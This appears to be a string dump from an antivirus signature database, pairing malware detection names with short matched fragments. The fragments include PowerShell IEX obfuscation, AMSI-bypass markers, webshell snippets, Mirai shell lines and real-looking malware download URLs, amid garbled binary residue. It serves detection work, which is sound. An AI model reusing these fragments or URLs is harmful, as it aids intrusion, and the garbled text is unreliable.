HSTR:JAVA:Feature:C:63 BRUTE:JAMSI:Feature:C:155 SIGATTR:Java:Field.get HSTR:JAVA:Feature:M:508 BRUTE:VBS:Feature:M:642 HSTR:JAVA:Feature:C:237 SIGATTR:Java:ByteBuffer.put 
SIGATTR:Java:PrintStream.print BRUTE:JAMSI:Feature:M:91 HSTR:JAVA:Feature:C:24 HSTR:JAVA:Feature:M:32 HSTR:JAVA:Feature:C:85 HSTR:JAVA:Feature:M:313 BRUTE:VBS:Feature:C:368 
Lua:FileBaseFolderInCdrive HSTR:JAVA:Feature:M:352 SIGATTR:Java:Reflect_Field.get HSTR:JAVA:Feature:C:291 HSTR:JAVA:Feature:C:570 HSTR:JAVA:Feature:C:208 
Exception:Masquerading.EA BRUTE:VBS:Feature:M:204 HSTR:JAVA:Feature:C:297 BRUTE:JAMSI:Feature:C:49 SCRIPT:FlashExp_blowfish SIGATTR:Java:Statement.execute SCPT:hidden 
BRUTE:LNK:Expert:Feature:239 SIGATTR:Java:Math.min BRUTE:JAMSI:Feature:C:134 HSTR:JAVA:Feature:C:138 BRUTE:JAMSI:Expert:Feature:63 HSTR:JAVA:Feature:C:556 
SCPT:Phish:PHP/Loader.GG SIGATTR:Java:Character.isWhitespace BRUTE:VBS:Feature:M:513 HSTR:JAVA:Feature:M:670 SIGATTR:Java:WritableRaster.getDataBuffer 
SIGATTR:Java:Object.notify HSTR:JAVA:Feature:M:458 BRUTE:VBS:Feature:C:116 BRUTE:VBS:Feature:C:156 HSTR:JAVA:Feature:C:183 BRUTE:VBS:Feature:C:248 BRUTE:VBS:Feature:C:347 
BRUTE:VBS:Feature:C:346 HSTR:JAVA:Feature:M:660 HSTR:JAVA:Feature:M:46 HSTR:JAVA:Feature:C:438 SIGATTR:Java:Method.getName BRUTE:Python/Leivion.B.Len 
HSTR:JAVA:Feature:M:124 HSTR:JAVA:Feature:C:266 BRUTE:PDF:Feature:C:555 HSTR:JAVA:Feature:C:443 ALF:AGGR:Vampa:99!ml SIGATTR:Java:FileOutputStream.write 
BRUTE:VBS:Feature:M:677 BRUTE:VBS:Feature:C:665 HSTR:JAVA:Feature:C:64 BRUTE:JAMSI:Feature:C:258 HSTR:JAVA:Feature:C:345 HSTR:JAVA:Feature:M:595 BRUTE:VBS:Feature:C:209 
HSTR:JAVA:Feature:C:421 SCPT:TrojanDownloader:O97M/Obfuse.PKV6!MTB SCPT:RansomNoteCat4_32 BRUTE:VBS:Feature:C:580 BRUTE:VBS:Feature:M:685 HSTR:JAVA:Feature:M:106 
BRUTE:VBS:Feature:C:441 HSTR:JAVA:Feature:M:501 BRUTE:PDF:Feature:C:305 SIGATTR:Java:Socket.close BRUTE:JAMSI:Feature:C:97 SIGATTR:Java:File.length 
SIGATTR:Java:URLEncoder.encode HSTR:JAVA:Feature:M:186 BRUTE:LNK:Expert:Feature:109 SIGATTR:Java:StringTokenizer.hasMoreTokens BRUTE:PDF:Feature:C:299 
HSTR:JAVA:Feature:C:466 HSTR:JAVA:Feature:M:315 SCPT:RansomNoteCat4_10 HSTR:JAVA:Feature:C:197 SCPT:RansomNoteCat2_9 ML:LUA:FileSizeLE1000.A BRUTE:VBS:Feature:C:488 
HSTR:JAVA:Feature:M:69 BRUTE:VBS:Feature:M:22 BRUTE:VBS:Feature:C:708 BRUTE:VBS:Feature:M:259 SIGATTR:Java:Class.getConstructor SCPT:AutoItApi_IsArray 
HSTR:JAVA:Feature:M:353 HSTR:JAVA:Feature:M:209 BRUTE:LNK:Expert:Feature:42 BRUTE:JAMSI:FuncN:13 SIGATTR:Java:String.trim BRUTE:LNK:Expert:Feature:30 SCPT:LNK/http 
HSTR:JAVA:Feature:M:211 BRUTE:PDF:Feature:M:431 BRUTE:PDF:Feature:C:747 HSTR:JAVA:Feature:M:249 BRUTE:LNK:Expert:Feature:140 BRUTE:VBS:Feature:C:18 
SIGATTR:Java:String.getBytes HSTR:JAVA:Feature:M:27 HSTR:JAVA:Feature:C:49 SCPT:AmsiPatch.A4 HSTR:JAVA:Feature:C:691 HSTR:JAVA:Feature:C:540 BRUTE:VBS:Feature:M:363 
SCRIPT:VBSRun BRUTE:VBS:Feature:C:142 BRUTE:PDF:Feature:M:723 HSTR:Zkm_Decoder BRUTE:VBS:Feature:C:646 BRUTE:PDF:Feature:C:46 BRUTE:JAMSI:Feature:C:187 
SIGATTR:Java:Class.getResource BRUTE:VBS:Feature:M:73 SIGATTR:Java:System.exit HSTR:JAVA:Feature:M:322 SIGATTR:Java:Throwable.printStackTrace HSTR:JAVA:Feature:C:655 
BRUTE:JAMSI:Feature:C:190 SIGATTR:Java:Logger.getLogger BRUTE:PDF:Feature:C:814 HSTR:JAVA:Feature:M:11 HSTR:JAVA:Feature:C:477 SIGATTR:Java:Class.isArray 
SIGATTR:Java:ByteArrayOutputStream.toByteArray BRUTE:LNK:Expert:Feature:183 BRUTE:VBS:Feature:C:339 SCPT:AutoItApi_String BRUTE:PDF:Feature:C:145 BRUTE:VBS:Feature:C:302 
HSTR:JAVA:Feature:C:575 HSTR:JAVA:Feature:C:279 SIGATTR:Java:File.createNewFile SIGATTR:Java:String.compareTo SIGATTR:Java:File.getParentFile 
SLF:Context/NonPeExtractedFileInArchive.B!jar Lua:NonPeExtractedFileInArchive.B HSTR:JAVA:Feature:C:140 BRUTE:PDF:Feature:M:553 HSTR:JAVA:Feature:M:621 HSTR:JAVA:Feature:C:362 
HSTR:JAVA:Feature:M:563 HSTR:JAVA:Feature:M:254 ALF:AGGR:Vampa:90!ml SIGATTR:Java:File.getPath ALF:AGGR:Vampa:80!ml SIGATTR:Java:Arrays.fill HSTR:JAVA:Feature:M:111 
BRUTE:JAMSI:Feature:C:68 HSTR:JAVA:Feature:C:654 HSTR:JAVA:Feature:M:527 HSTR:JAVA:Feature:M:555 BRUTE:VBS:Feature:C:251 SIGATTR:Java:DataOutputStream.writeInt 
HSTR:JAVA:Feature:M:121 SIGATTR:Java:Graphics.drawImage SIGATTR:Java:File.delete SIGATTR:Java:Class.isPrimitive HSTR:JAVA:Feature:M:377 Lua:FileSizeLT2000 
SIGATTR:Java:InetAddress.getAddress SCPT:ClnWordsCat2_13 HSTR:JAVA:Feature:C:671 BRUTE:PDF:Feature:M:444 BRUTE:VBS:Feature:C:424 Trojan:O97M/Donoff.Y4 
BRUTE:VBS:Feature:C:86 BRUTE:PDF:Feature:M:632 VirTool:Java/Obfuscator.A HSTR:JAVA:Feature:M:553 BRUTE:PDF:Feature:M:42 SIGATTR:Java:Arrays.asList 
SIGATTR:Java:StackTraceElement.getMethodName SIGATTR:Java:BufferedOutputStream.write BRUTE:VBS:Feature:M:495 HSTR:JAVA:Feature:M:261 SIGATTR:Java:Class.getDeclaredFields 
SIGATTR:Java:Float.floatValue HSTR:JAVA:Feature:M:572 SIGATTR:Java:Array.newInstance SCPT:RansomNoteCat3_33 SIGATTR:Java:Object.toString BRUTE:VBS:Feature:C:403 
BRUTE:VBS:Feature:C:72 HSTR:JAVA:Feature:M:250 HSTR:JAVA:Feature:C:105 BRUTE:JAMSI:Feature:C:71 HSTR:JAVA:Feature:C:215 HSTR:JAVA:Feature:M:73 SCRIPT:StringDisplayName.A 
BRUTE:VBS:Feature:M:564 BRUTE:VBS:Feature:M:353 SIGATTR:Java:File.getParent HSTR:JAVA:Feature:M:585 SCPT:RansomNoteCat4_40 BRUTE:VBS:Feature:M:799 
HSTR:JAVA:Feature:M:229 SCPT:TrojanDownloader:O97M/Zloader.STO8 HSTR:JAVA:Feature:M:292 SIGATTR:Java:File.mkdirs SIGATTR:Java:File.isFile SCPT:Backdoor:Php/Dirtelti.GG15 
SIGATTR:Java:OutputStream.flush BRUTE:JAMSI:Feature:C:299 BRUTE:Exploit:Java/CVE-2008-5353.C1 SIGATTR:Java:HashMap.put BRUTE:JAMSI:Feature:C:186 SCRIPT:PHP/GetEnv!MTB 
SIGATTR:Java:StringBuffer.reverse BRUTE:VBS:Feature:C:335 BRUTE:VBS:Feature:M:158 SIGATTR:Java:Exception.getMessage SIGATTR:Java:File.isDirectory HSTR:JAVA:Feature:C:285 
SCPT:RansomNoteCat4_21 SIGATTR:Java:PrintWriter.write SCRIPT:CMDString BRUTE:LNK:Expert:Feature:53 BRUTE:VBS:Feature:C:519 HSTR:JAVA:Feature:C:490 HSTR:JAVA:Feature:C:129 
BRUTE:LNK:Expert:Feature:83 SCPT:Backdoor:ASP/Dirtelti.K4!MTB SCRIPT:AMSITest2 SCPT:Backdoor:ASP/Dirtelti.G6!MTB BRUTE:PDF:Feature:C:756 BRUTE:LNK:Expert:Feature:136 
SCPT:LNK/FunAttr SIGATTR:Java:Statement.getMethodName HSTR:JAVA:Feature:C:434 HSTR:JAVA:Feature:C:380 BRUTE:VBS:Feature:M:345 SCPT:Phish:PHP/Created.GG 
HSTR:JAVA:Feature:C:409 SIGATTR:Java:StackTraceElement.getClassName BRUTE:LNK:Expert:Feature:208 BRUTE:JAMSI:Feature:C:243 SIGATTR:Java:Math.random 
SIGATTR:Java:Class.newInstance SCPT:RansomNoteCat4_15 BRUTE:VBS:Feature:C:338 BRUTE:VBS:Feature:C:337 HSTR:JAVA:Feature:M:332 BRUTE:VBS:Feature:C:123 
dHSTR:JAVA:Feature:M:688SIGATTR:Java:Throwable.getMessageBRUTE:VBS:Feature:M:762SCPT:PostScript_forallSIGATTR:Java:Long.parseLongHSTR:JAVA:Feature:C:634HSTR:JAVA:Feature:
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+createdby #!#Trojan:AutoIt/AgentTesla.SP15!MTB )>#!#Trojan:AutoIt/AgentTesla.SP15!MTB dim$startupdir #!#TrojanDownloader:HTML/HASHWinMin3 )>#!#TrojanDownloader:HTML/HASHWinMin3 
miner.start(); )>#!#TrojanDownloader:Win32/Lnkget.gen .bat&echobye>> $!#SCPT:CodeOnly.ChromeSetNoSandbox.C )>$!#SCPT:CodeOnly.ChromeSetNoSandbox.C nosandboxtype 
)>$!#SCPT:JS/Obfuscator.HexMixed.http.A \\x68\\x74\\x74p \\x68\\x74t\\x70 \\x68t\\x74\\x70 h\\x74\\x74\\x70 $!#SCPT:Nemucod_exclusion.maindrawobj )>$!#SCPT:Nemucod_exclusion.maindrawobj 
|maindrawobj| $!#SCPT:Nemucod_exclusion.pixelheight )>$!#SCPT:Nemucod_exclusion.pixelheight |pixelheight| $!#SCRIPT:CmdFileOutputMultipleEcho.A 
)>$!#SCRIPT:CmdFileOutputMultipleEcho.A .bat&echoecho $!#SCRIPT:CmdFileOutputMultipleEcho.B )>$!#SCRIPT:CmdFileOutputMultipleEcho.B .cmd&echoecho $!#SCRIPT:Exploit:SWF/CVE-
2014-0515-1 )>$!#SCRIPT:Exploit:SWF/CVE-2014-0515-1 displayshader $!#SCRIPT:TrojanDownloader:JS/Rusem.2 )>$!#SCRIPT:TrojanDownloader:JS/Rusem.2 paycrypt.like 
%!#Exploit:O97M/CVE-2017-11882.S!ats01 )>%!#Exploit:O97M/CVE-2017-11882.S!ats01 mshtahttp:// %!#SCPT:Backdoor:ASP/b374kShell.A2!MTB )>%!#SCPT:Backdoor:ASP/b374kShell.A2!MTB 
&shell_name& %!#SCPT:Trojan:PowerShell/WmiRemoter.G )>%!#SCPT:Trojan:PowerShell/WmiRemoter.G cim_datafile %!#SCPT:Trojan:Win32/PShellEnIEX!Sup02 
)>%!#SCPT:Trojan:Win32/PShellEnIEX!Sup02 %!#SCPT:TrojanDownloader:JS/Rifrab.A.2 )>%!#SCPT:TrojanDownloader:JS/Rifrab.A.2 fff=op.split %!#SCPT:TrojanDownloader:VBS/Ledod.JJ2 
)>%!#SCPT:TrojanDownloader:VBS/Ledod.JJ2 execute( %!#SCPT:TrojanDownloader:VBS/Ledod.JJ5 )>%!#SCPT:TrojanDownloader:VBS/Ledod.JJ5 (len( %!#TrojanDownloader:JS/Coropam.AA!ats3 
)>%!#TrojanDownloader:JS/Coropam.AA!ats3 ='fucking47' %!#TrojanDownloader:JS/Donvibs.P!kma02 )>%!#TrojanDownloader:JS/Donvibs.P!kma02 {return![];} &!#Exploit:O97M/CVE-2017-
11882.AV!ats01 )>&!#Exploit:O97M/CVE-2017-11882.AV!ats01 7h\\ol1oc~^9  &!#SCPT:CodeOnly.EnableMojoJsBindings.B )>&!#SCPT:CodeOnly.EnableMojoJsBindings.B enable_mojo  
&!#SCPT:EnvVarCharReplacement.EnvVarUse )>&!#SCPT:EnvVarCharReplacement.EnvVarUse ,1%=%temp%\"  &!#SCPT:Exploit:O97M/CVE-2017-11882.YD4 )>&!#SCPT:Exploit:O97M/CVE-2017-
11882.YD4 {\\bin000000  &!#SCPT:HackTool:PowerShell/AmsiContext )>&!#SCPT:HackTool:PowerShell/AmsiContext  )>&!#SCPT:JS/Obfuscator.InnerScript.AAY.A +=';';e  
&!#SCPT:Phish:PHP/Domcheck_AtHotmail.GG )>&!#SCPT:Phish:PHP/Domcheck_AtHotmail.GG '@hotmail.'  &!#SCPT:Phish:PHP/Domcheck_AtOutlook.GG 
)>&!#SCPT:Phish:PHP/Domcheck_AtOutlook.GG '@outlook.'  &!#SCPT:Trojan:JS/PdfjscRPF_EvalThisDot )>&!#SCPT:Trojan:JS/PdfjscRPF_EvalThisDot =eval;this.  
&!#SCPT:TrojanDownloader:JS/Nemucod.IC1 )>&!#SCPT:TrojanDownloader:JS/Nemucod.IC1 +\".d\"+\"ll\";  &!#SCPT:TrojanDownloader:JS/Nemucod.JV7 
)>&!#SCPT:TrojanDownloader:JS/Nemucod.JV7 293b0a20202  &!#SCPT:TrojanDownloader:JS/Nemucod.QK1 )>&!#SCPT:TrojanDownloader:JS/Nemucod.QK1 _hud_duck);  
&!#SCPT:TrojanDownloader:JS/Nemucod.RJ2 )>&!#SCPT:TrojanDownloader:JS/Nemucod.RJ2  \"][1 &!#SCPT:TrojanDownloader:JS/Nemucod.RN2 )>&!#SCPT:TrojanDownloader:JS/Nemucod.RN2 
(){return\"\"  &!#SCPT:TrojanDownloader:JS/Nemucod.SC5 )>&!#SCPT:TrojanDownloader:JS/Nemucod.SC5  )[/* &!#SCPT:TrojanDownloader:JS/Nemucod.SH3 
)>&!#SCPT:TrojanDownloader:JS/Nemucod.SH3 =\"g\"+\"ety\"+  &!#SCPT:TrojanDownloader:JS/Nemucod:Z1c )>&!#SCPT:TrojanDownloader:JS/Nemucod:Z1c /*@cc_onvar  
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&!#SCRIPT:Exploit:Win32/CVE-2015-1641-5 )>&!#SCRIPT:Exploit:Win32/CVE-2015-1641-5 d0cf11e0a1b  &!#TEL:SCPT:Trojan:Win32/COMScriptlet.A )>&!#TEL:SCPT:Trojan:Win32/COMScriptlet.A 
feedacdc}\">  &!#TrojanDownloader:JS/Elshutilo.B!atb1 )>&!#TrojanDownloader:JS/Elshutilo.B!atb1 elifotevas.  &!#TrojanDownloader:JS/Elshutilo.B!atb3 )>&!#TrojanDownloader:JS/Elshutilo.B!atb3 
'teg'(nepo.  &!#TrojanDownloader:JS/Nemucod.JN!atb01 )>&!#TrojanDownloader:JS/Nemucod.JN!atb01 .push(\",\");  &!#TrojanDropper:AutoIt/Obfusesd2!ptb02 
)>&!#TrojanDropper:AutoIt/Obfusesd2!ptb02 #notrayicon  '!#SCPT:TrojanDownloader:JS/Nemucod.BBO3 )>'!#SCPT:TrojanDownloader:JS/Nemucod.BBO3 savetofile 
'!#SCPT:TrojanDownloader:JS/Nemucod.BMT3 )>'!#SCPT:TrojanDownloader:JS/Nemucod.BMT3 .eval( '!#SCPT:TrojanDownloader:JS/Sumak!8fa6_4 )>'!#SCPT:TrojanDownloader:JS/Sumak!8fa6_4 
case\"gtfo\" '!#SCPT:TrojanDownloader:Java/Banload.L2 )>'!#SCPT:TrojanDownloader:Java/Banload.L2 pintebinha '!#SCPT:TrojanDownloader:Java/Banload.Q2 
)>'!#SCPT:TrojanDownloader:Java/Banload.Q2 erk,useros '!#SCPT:TrojanDownloader:O97M/Qakbot.SZ1 )>'!#SCPT:TrojanDownloader:O97M/Qakbot.SZ1 openddddbp 
'!#SCPT:TrojanDownloader:O97M/Qakbot.SZ2 )>'!#SCPT:TrojanDownloader:O97M/Qakbot.SZ2 shell32-dd '!#SCPT:TrojanDownloader:VBS/Banload.BT2 
)>'!#SCPT:TrojanDownloader:VBS/Banload.BT2 33300)uac( '!#SCPT:TrojanDownloader:VBS/Donvibs.SS3 )>'!#SCPT:TrojanDownloader:VBS/Donvibs.SS3 fsdfdsfs=\" 
(!#SCPT:Linux/Trojan.mal_attr_ExecFromTmp )>(!#SCPT:Linux/Trojan.mal_attr_ExecFromTmp exec/tmp/ (!#SCPT:TrojanDownloader:JS/Swabfex_emu_1 )>
(!#SCPT:TrojanDownloader:JS/Swabfex_emu_1 555D555E0 (!#SCPT:TrojanDownloader:O97M/Slinjek.AJ1 )>(!#SCPT:TrojanDownloader:O97M/Slinjek.AJ1 auto_open (!#TEL:Exploit:O97M/CVE-
2017-11882.ZA!MTB )>(!#TEL:Exploit:O97M/CVE-2017-11882.ZA!MTB {\\rtf5459 )!#SCPT:Exploit:SWF/CVE-2018-4878.findfunc )>)!#SCPT:Exploit:SWF/CVE-2018-4878.findfunc findfunc  
)!#SCPT:Exploit:SWF/CVE-2018-4878.method_1 )>)!#SCPT:Exploit:SWF/CVE-2018-4878.method_1 method_1  )!#SCPT:Exploit:SWF/CVE-2018-4878.method_2 )>)!#SCPT:Exploit:SWF/CVE-2018-
4878.method_2 method_2  )!#SCPT:Exploit:SWF/CVE-2018-4878.method_5 )>)!#SCPT:Exploit:SWF/CVE-2018-4878.method_5 method_5  )!#SCPT:TrojanDownloader:O97M/Zloader.STO1 
)>)!#SCPT:TrojanDownloader:O97M/Zloader.STO1 c:\\orwkw  )!#Script:Trojan:JS/NemuKryptikDow.AD!MTB7 )>)!#Script:Trojan:JS/NemuKryptikDow.AD!MTB7 .type=1;  
)!#Script:Trojan:JS/NemuKryptikDow.AD!MTB8 )>)!#Script:Trojan:JS/NemuKryptikDow.AD!MTB8 .open();  *!#SCPT:TrojanDownloader:HTML/Genbhv.MZ!ex2 
)>*!#SCPT:TrojanDownloader:HTML/Genbhv.MZ!ex2 &\".exe\" \t&\".exe\" *!#SCPT:TrojanDownloader:VBS/Obfuse.PV2!MTB )>*!#SCPT:TrojanDownloader:VBS/Obfuse.PV2!MTB array(\" \tarray(\" 
*!#SCPT:TrojanDownloader:VBS/Qakbot.SS3!MTB )>*!#SCPT:TrojanDownloader:VBS/Qakbot.SS3!MTB \texecute +!#SCPT:Exploit:O97M/CVE-2017-8570.AR!MTB!R5 )>+!#SCPT:Exploit:O97M/CVE-
2017-8570.AR!MTB!R5 http30 +!#SCPT:TrojanDownloader:O97M/IcedId.MS1!MTB )>+!#SCPT:TrojanDownloader:O97M/IcedId.MS1!MTB jjccbb +!#SCPT:TrojanDownloader:O97M/IcedId.MX1!MTB 
)>+!#SCPT:TrojanDownloader:O97M/IcedId.MX1!MTB ,!#SCPT:TrojanDownloader:HTML/Phish.ZHVF1!MTB )>,!#SCPT:TrojanDownloader:HTML/Phish.ZHVF1!MTB <form 
,!#SCPT:TrojanDownloader:O97M/Obfuse.PKV6!MTB )>,!#SCPT:TrojanDownloader:O97M/Obfuse.PKV6!MTB wnloa ,!#SCPT:TrojanDownloader:O97M/Obfuse.PKV9!MTB 
)>,!#SCPT:TrojanDownloader:O97M/Obfuse.PKV9!MTB dtruh ,!#SCPT:TrojanDownloader:O97M/Qakbot.PJI6!MTB )>,!#SCPT:TrojanDownloader:O97M/Qakbot.PJI6!MTB -
!#SCPT:TrojanDownloader:O97M/Encdoc.AVB34!MTB )>-!#SCPT:TrojanDownloader:O97M/Encdoc.AVB34!MTB !#MacOS_Pirrit2 vardg=document[a0b('0x16' %vardg=document[a0b('0x16'  script' 
!#SCPT:LetmeinAG write-debug\"downloadi $write-debug\"downloadi gthemtrpl\" !#SCPT:LetmeinAR write-verbose\"execu $write-verbose\"execu ingthemtrpl\" leaker_addr=null; $leaker_addr=null; 
leaker={a:{}}; !#SLF:PS/JoinIEX =(-join$ $=(-join$ )-join'';$ |&(gali*x) !#BM_WMI_MOF_FILE #pragma ##pragma \"\\\\x90 !#SCPT:JS:Zheg.O2 =parseint( #=parseint( get-command-
module7zip4powershell #get-command-module7zip4powershell !#SCPT:Wannamine2 new-object-comobjectwscript.shell #new-object-comobjectwscript.shell !#SCRIPT:Mavil.B4 /loader/load.php?bid= 
#/loader/load.php?bid= &hwid= !#SCPT:JS.Chrext.2 \\x61\\x67\\x61\\x6d\\x65\\x6e\\x74\\x6f \"\\x61\\x67\\x61\\x6d\\x65\\x6e\\x74\\x6f !#SCPT:JS.Chrext.4 \\x69\\x6e\\x61\\x6c\\x69\\x7a\\x61\\x72 
\"\\x69\\x6e\\x61\\x6c\\x69\\x7a\\x61\\x72 !#SCPT:Lafavloz.A1 antibotkill=\"antibotkill \"antibotkill=\"antibotkill \"then !#SCPT:Nemucod.DI1 \"+\"\\x61\"+\"rat\"]( \"\"+\"\\x61\"+\"rat\"]( ;function 
!#SCPT:PHPShell.A4 opjudovg}{;#)tutjyf`opjudovg)!gj \"opjudovg}{;#)tutjyf`opjudovg)!gj !#SCPT:RemThread.1 ntcreatethreadex.invoke \"ntcreatethreadex.invoke 1fffff !#SCPT:Rundll_path 
c:\\windows\\system32\\rundll32.exe \"c:\\windows\\system32\\rundll32.exe !#SCPT:Webshell.V1 phpcodeinjection||exploitbyi-hmx \"phpcodeinjection||exploitbyi-hmx !#SCPT:Webshell.V4 
payload=base64_encode(\"passthru( \"payload=base64_encode(\"passthru( !#SCRIPT:ConsoleIn [console]::treatcontrolcasinput= \"[console]::treatcontrolcasinput= $pshome[ \"$pshome[ ]+'x' $shellid[ 
\"$shellid[ ]+$shellid[ ]+'x') |foreach \"|foreach {([int]$_-as[char])}) !#SCPT:Goopisung.A3 https://storage.googleapis.com/ !https://storage.googleapis.com/ !https:// ` @.dll ` 
http://fmforums.com/wggx991264/ !http://fmforums.com/wggx991264/ !#SCPT:OKMSBypass.E !create @binpath= @\\srvany.exe !#SCPT:PS/Powdow.A3 esrever::]yarra[;)(yarrarahcot. 
!esrever::]yarra[;)(yarrarahcot. !#SCPT:WannamineWMI root\\default:systemcore_updater !root\\default:systemcore_updater !#SCRIPT:PsObfus.A2 |convertto-securestring !|convertto-securestring )|iex 
/id[(\\\\ueph1u)(\\n032n@j)]/info  /id[(\\\\ueph1u)(\\n032n@j)]/info !#SCPT:EvalProtector innerhtml.indexof(\"top[0].eval  innerhtml.indexof(\"top[0].eval !#SCPT:GPhishMessage 
target=\"_blank\">openindocs</a>  target=\"_blank\">openindocs</a> !#SCPT:JS/Nemucod.A2 replace\"\"indexof\"\"fromcharcode  replace\"\"indexof\"\"fromcharcode !#SCPT:Nemucod.BAE1b 
/welcomemarketing.ie/counter/?  /welcomemarketing.ie/counter/? !#SCPT:Obfuscploit:0 \\d]+.[\\d]+.[\\d]+/))==null){var  \\d]+.[\\d]+.[\\d]+/))==null){var !#SCPT:Obfuscploit:1 l){window[string.fromcharcode(  
l){window[string.fromcharcode( !#SCPT:VBS/Obfus.BS2  .run  &\"'\"&   !#SCPT:wmitaskill.A3 createobject(  createobject( taskkill !#AnalysisProcName.A1 frida-winjector-helper-64.exe 
!#AnalysisProcName.A2 frida-winjector-helper-32.exe !#SCPT:AADKillchain.C invoke-userenumerationasguest yp=[];try{pqbt !#SCPT:OffRelHttp.gen relationships/ %target=\"http 
!#SCPT:PaypalPhish.H2 islamicstate=caliphateislamic !#SCPT:powinvokeiex.A [convert]:: !#Script:Unscapetob64 document.write(atob(unescape( style= fontsize:0px href= !#Trojan:VBA/Calboco1 
https://www.dfib.net/calc.exe !#Worm:JS/Proslikefan function( !#//SCPT:Wakelock_Perm android.permission.wake_lock !#//SCPT:WriteSms_Perm android.permission.write_sms 
\"jj83__11\".replace('_','7'); !#PWS:AutoIt/Passup.A1 fileinstall(\"autoupdate.au3. !#PWS:AutoIt/Passup.A2 execute(binarytostring(\"0x45 !#SCPT:AssertPostinTag assert($_post[ 
!#SCPT:ClnWordsCat3_10 encryptingyournextcloudfiles !#SCPT:ClnWordsCat3_17 passphrasestorageandrecovery !#SCPT:EXT:Imposter.N1 https://api.edgelauncher.com !#SCPT:Java/Banload.A3 
getruntime /cds/ !#SCPT:PDF.OnlyOnePage </type/pages/kids /count1/ /count1> !#SCPT:VBS:Suspb64Run1 /defender.txt\" @.open\"get\", !#SCRIPT:JS/Msfdbrow.3 .send(\"irb-e\\\"\"+ +\"\\\"\\n\"); 
!#SCRIPT:RefPeInject.A invoke-reflectivepeinjection !#Trojan:HTML/Emrhish2 bankdraftof  withfedexemail !#PUA:Block:Bundlore.I3 open\"${volpath}/install.app !#PUA:MacOS/MacShiny.A3 
#!/bin/shecho\"pkgpoolfiller !#SCPT:Adodb.vbshttpzip \"http 0.zip\" !#SCPT:HTML/Phish.SBLN5 letarr=json.parse(atob(s)); !#SCPT:JS/Banloadr.temp function(){/*%temp%*/}.$(); 
!#SCPT:NodeJS!websocket require('websocket').server dugedepap.ru/  !#SCPT:PSByteShellcodeC byte[] P=newbyte[ get-processlistingwmimplant !#SCRIPT:BAT/Chopper.A2 ipconfig/all 
>c:\\windows\\ !#SCRIPT:JS/Makdichi.A1 session.putvalue(\" !#SCRIPT:PS/AmsiFail.A3 .marshal]::( @[char]( !#SCRPT:O97M/Qakbot.AR1 http://stroylux.ro/ds/1.gif !#Trojan:JS/Flafisi.D.1 /flash player 
.jse';var !#Trojan:Linux/Mirai.D1 /bin/shulimit-n99999cd/tmp; !#Trojan:Linux/Setag.B3 /usr/binfunctiondownloadyam _.H$A :LO\\p <Q@v#lt =&mdH 1f;~U =gHvY \"G$T ,2 Jrb!E \"/|t5 $1O{\t kwm,tx 
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|!#AGG:AllowList:Win32/WinGuido.A  |!#ALF:Trojan:Win32/Cassini.A!ibtg  |!#ALF:Trojan:Win32/Cassini.A!ibt !#ALF:Trojan:PowerShell/PSAttack.B!MTB &v!#ALF:Trojan:PowerShell/PSAttack.B!MTB 
!#ALF:Trojan:Win32/Cassini_903acaaa!ibt 'u!#ALF:Trojan:Win32/Cassini_903acaaa!ibt !#ALF:Trojan:Win32/Cassini_a0573ed7!ibt 'u!#ALF:Trojan:Win32/Cassini_a0573ed7!ibt 
!#ALF:Trojan:Win32/Cassini_b6efd62c!ibt 'u!#ALF:Trojan:Win32/Cassini_b6efd62c!ibt !#ALF:TrojanDownloader:Win32/Vadokrist.A (t!#ALF:TrojanDownloader:Win32/Vadokrist.A 
!#SLF:AGGR:CopyRenamed!notmyfaultc64.exe (t!#SLF:AGGR:CopyRenamed!notmyfaultc64.exe !#SLF:AGGR:CopyRenamed!vsjitdebugger.exe (t!#SLF:AGGR:CopyRenamed!vsjitdebugger.exe 
!#SLF:TrojanDownloader:Win32/Dridexdll.B (t!#SLF:TrojanDownloader:Win32/Dridexdll.B !#TEL:TrojanDownloader:O97M/Gozi.AGZ!eml (t!#TEL:TrojanDownloader:O97M/Gozi.AGZ!eml 
!#ALF:Ransom:PowerShell/TestEncrypt.A!MTB )s!#ALF:Ransom:PowerShell/TestEncrypt.A!MTB !#SLF:Context/SuspFileDropBySystemProc.C!sysdir 
/m!#SLF:Context/SuspFileDropBySystemProc.C!sysdir !#TEL:Trojan:JS/WmiCreateRemotePowershell.C!ams /m!#TEL:Trojan:JS/WmiCreateRemotePowershell.C!ams !#AGG:JS/Obfuscator.Spltra.A  
}!#ALF:Trojan:Win32/Cassini.A!ibt  }!#ALF:Trojan:Win32/Cassini.B!ibt !#TEL:TrojanDropper:VBS/Ursnif.PAC!ams &w!#TEL:TrojanDropper:VBS/Ursnif.PAC!ams 
!#SLF:Context/FileADSinBasePath.A!sysdir (u!#SLF:Context/FileADSinBasePath.A!sysdir !#TEL:Trojan:PowerShell/PSSchTaskAbuse.A (u!#TEL:Trojan:PowerShell/PSSchTaskAbuse.A 
*s!#AGGR:PowerShell/PSExploitDynamicAssembly !#SLF:EmailContextOfficeWithObjectFile.A!js +r!#SLF:EmailContextOfficeWithObjectFile.A!js !#BLKACC:92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b -
p!#BLKACC:92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b !#SLF:VirTool:PowerShell/SuspAdminAccess.A!MTB .o!#SLF:VirTool:PowerShell/SuspAdminAccess.A!MTB !#ExcelSiorType.C 
!#ALF:HtaExecFromDwn.B !#BM_AT:AADprovisioningapi !#SLF:AGGR:CopyRenamed!psr.exe !#TEL:Trojan:Win32/Linkommer.A !#ALF:Trojan:HTML/Phish.PBT!MTB 
!#ALF:Trojan:O97M/Phish.PDD!MTB !#ALF:Trojan:O97M/Phish.PDX!MTB !#ALF:Phish:PHP/MS_Login_PKT!MTB  ~!#ALF:Phish:PHP/MS_Login_PKT!MTB  ~!#ALF:Trojan:Win32/Cassini.A!ibt  
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!#SLF:HackTool:PowerShell/Azhunting #{!#SLF:HackTool:PowerShell/Azhunting !#AGG:SWF/Obfuscator.NeutrinoEKLike.F %y!#AGG:SWF/Obfuscator.NeutrinoEKLike.F 
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!#ALF:VirTool:Powershell/GropPass.B!MTB 'w!#ALF:VirTool:Powershell/GropPass.B!MTB !#ALF:VirTool:Powershell/LockWats.B!MTB 'w!#ALF:VirTool:Powershell/LockWats.B!MTB 
!#BM_CopyRenamedIName_logonsessions64.exe )u!#BM_CopyRenamedIName_logonsessions64.exe !#BM_CopyRenamedIName_runscripthelper.exe 
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!#SLF:Context/FileADSinBasePath.A!locallowappdata 1m!#SLF:Context/FileADSinBasePath.A!locallowappdata !#TEL:Trojan:HTML/Wampen.D !#TEL:Exploit:HTML/Meercat.I!dha 
